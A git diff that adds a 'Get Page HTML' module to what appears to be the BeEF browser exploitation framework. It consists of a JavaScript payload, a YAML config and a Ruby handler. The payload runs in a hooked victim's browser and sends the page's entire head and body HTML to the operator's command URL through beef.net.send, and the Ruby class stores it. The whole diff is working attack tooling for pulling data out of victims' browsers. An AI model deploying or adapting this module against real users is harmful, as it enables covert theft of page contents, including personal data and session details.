diff --git a/modules/browser/get_page_html/command.js b/modules/browser/get_page_html/command.js new file mode 100644 index 000000000..10fbe68ad --- /dev/null +++ b/modules/browser/get_page_html/command.js @@ -0,0 +1,22 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+escape(document.head.innerHTML.toString())); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+escape(document.body.innerHTML.toString())); + +}); + diff --git a/modules/browser/get_page_html/config.yaml b/modules/browser/get_page_html/config.yaml new file mode 100644 index 000000000..efc3c3882 --- /dev/null +++ b/modules/browser/get_page_html/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_page_html: + enable: true + category: "Browser" + name: "Get Page HTML" + description: "This module will retrieve the HTML from the current page." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/browser/get_page_html/module.rb b/modules/browser/get_page_html/module.rb new file mode 100644 index 000000000..bda3b7c7f --- /dev/null +++ b/modules/browser/get_page_html/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_page_html < BeEF::Core::Command + + def post_execute + content = {} + content['html'] = @datastore['html'] + save content + end + +end